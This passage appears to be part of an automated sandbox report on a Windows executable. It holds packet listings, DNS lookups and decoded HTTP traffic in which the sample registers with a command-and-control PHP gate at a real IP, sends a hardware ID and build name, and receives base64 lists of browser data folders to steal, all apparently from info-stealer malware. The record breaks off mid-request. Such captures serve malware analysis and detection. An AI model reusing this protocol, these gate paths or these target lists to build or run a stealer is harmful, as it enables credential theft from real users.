Nov 24, 2024 19:12:06.003526926 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.003582954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.003582954 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.004177094 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.004288912 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.004363060 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.004523039 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.005245924 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.005376101 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.005393028 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.005525112 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.006086111 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.006247997 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.006364107 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.006560087 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.007081985 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.007164001 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.007200003 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.007299900 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.008452892 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.008584976 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.008598089 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.008867025 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.009411097 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.009500980 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.009603024 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.009742022 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.010243893 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.010364056 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.010396957 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.010463953 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.010991096 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.011100054 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.011153936 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.011153936 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.012165070 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.012245893 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.012419939 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.012829065 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.012950897 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.012964010 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.013035059 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.013530016 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.013676882 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.013715029 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.013853073 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.014178991 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.014259100 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.014262915 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.014354944 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.014805079 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.014874935 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.014905930 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.015002966 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.016096115 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.016159058 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.016191006 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.016386986 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.017308950 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.017369986 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.017409086 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.017576933 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.017982006 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.018083096 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.018115044 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.018157959 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.018759966 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.018847942 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.018884897 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.018980980 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.019644022 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.019798994 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.019825935 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.019994020 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.020445108 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.020526886 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.020555973 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.020623922 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.021142960 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.021214962 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.021245956 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.021445990 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.021862984 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.021931887 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.021960974 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.022022963 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.022465944 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.022567987 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.022598028 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.022666931 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.023117065 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.023175955 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.023212910 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.023317099 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.023750067 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.023812056 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.023997068 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.024343014 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.024405956 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.024411917 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.024525881 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.025096893 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.025217056 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.025249004 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.025351048 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.025816917 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.025885105 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.025919914 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.025933981 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.026660919 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.026793957 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.026802063 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.026927948 CET	49837	80	192.168.2.8	185.215.113.16
Nov 24, 2024 19:12:06.027389050 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.027457952 CET	80	49837	185.215.113.16	192.168.2.8
Nov 24, 2024 19:12:06.027487993 CET	49837	80	192.168.2.8	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 19:11:29.025286913 CET	192.168.2.8	1.1.1.1	0x7275	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:29.025564909 CET	192.168.2.8	1.1.1.1	0x257d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:36.170593023 CET	192.168.2.8	1.1.1.1	0x670e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:36.170845985 CET	192.168.2.8	1.1.1.1	0x475b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:40.569488049 CET	192.168.2.8	1.1.1.1	0x4a73	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:40.569909096 CET	192.168.2.8	1.1.1.1	0x6789	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:44.027615070 CET	192.168.2.8	1.1.1.1	0x5f7a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.027990103 CET	192.168.2.8	1.1.1.1	0xb3af	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 19:11:44.150651932 CET	192.168.2.8	1.1.1.1	0x5f6f	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.150964975 CET	192.168.2.8	1.1.1.1	0xadda	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:44.742526054 CET	192.168.2.8	1.1.1.1	0xc480	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.742810965 CET	192.168.2.8	1.1.1.1	0x46ed	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:44.743933916 CET	192.168.2.8	1.1.1.1	0xe4dc	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.744108915 CET	192.168.2.8	1.1.1.1	0x1704	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 19:11:44.748575926 CET	192.168.2.8	1.1.1.1	0xffcd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.748811007 CET	192.168.2.8	1.1.1.1	0x60c5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 19:13:21.893224955 CET	192.168.2.8	1.1.1.1	0x1d53	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:13:21.893290997 CET	192.168.2.8	1.1.1.1	0x9b4d	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 19:11:29.184731007 CET	1.1.1.1	192.168.2.8	0x257d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 19:11:29.185018063 CET	1.1.1.1	192.168.2.8	0x7275	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:36.315396070 CET	1.1.1.1	192.168.2.8	0x670e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:36.315396070 CET	1.1.1.1	192.168.2.8	0x670e	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:36.315861940 CET	1.1.1.1	192.168.2.8	0x475b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:40.712070942 CET	1.1.1.1	192.168.2.8	0x4a73	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:40.724617004 CET	1.1.1.1	192.168.2.8	0x6789	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:41.195249081 CET	1.1.1.1	192.168.2.8	0x9bdc	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:41.195249081 CET	1.1.1.1	192.168.2.8	0x9bdc	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:41.292151928 CET	1.1.1.1	192.168.2.8	0xff2b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:44.165908098 CET	1.1.1.1	192.168.2.8	0x5f7a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:44.166709900 CET	1.1.1.1	192.168.2.8	0xb3af	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:44.291106939 CET	1.1.1.1	192.168.2.8	0x5f6f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:44.291106939 CET	1.1.1.1	192.168.2.8	0x5f6f	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.382220030 CET	1.1.1.1	192.168.2.8	0xadda	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 19:11:44.888197899 CET	1.1.1.1	192.168.2.8	0xc480	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.888197899 CET	1.1.1.1	192.168.2.8	0xc480	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.888942003 CET	1.1.1.1	192.168.2.8	0x46ed	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 19:11:44.889988899 CET	1.1.1.1	192.168.2.8	0xe4dc	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.889988899 CET	1.1.1.1	192.168.2.8	0xe4dc	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.890810013 CET	1.1.1.1	192.168.2.8	0x1704	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 19:11:44.894227028 CET	1.1.1.1	192.168.2.8	0xffcd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.894227028 CET	1.1.1.1	192.168.2.8	0xffcd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 19:11:44.897113085 CET	1.1.1.1	192.168.2.8	0x60c5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 19:13:22.258934975 CET	1.1.1.1	192.168.2.8	0x1d53	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.206	80	568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:11:20.295525074 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 19:11:21.672193050 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:21.674705029 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 39 31 38 43 30 45 37 39 34 39 31 35 38 34 32 36 35 39 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="hwid"A0918C0E79491584265921------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="build"mars------IDBAKKECAEGCAKFIIIDH--
Nov 24, 2024 19:11:22.140357018 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 63 35 4e 32 51 31 4e 7a 63 78 5a 57 51 30 4f 54 67 34 4e 57 45 35 4e 7a 6c 6c 4e 7a 4e 6a 59 7a 6c 69 4d 54 45 78 4d 7a 45 30 5a 54 4d 79 4e 6a 55 31 4d 54 42 69 4d 44 59 35 59 54 59 34 4e 44 4a 6b 4e 6d 4a 69 59 54 4a 6b 4d 47 5a 69 4f 47 5a 6d 5a 6a 55 33 59 54 49 32 5a 47 46 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTc5N2Q1NzcxZWQ0OTg4NWE5NzllNzNjYzliMTExMzE0ZTMyNjU1MTBiMDY5YTY4NDJkNmJiYTJkMGZiOGZmZjU3YTI2ZGFkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 19:11:22.142124891 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"browsers------ECGDAAFIIJDAAAAKFHID--
Nov 24, 2024 19:11:22.609998941 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 19:11:22.610213995 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 19:11:22.618076086 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; 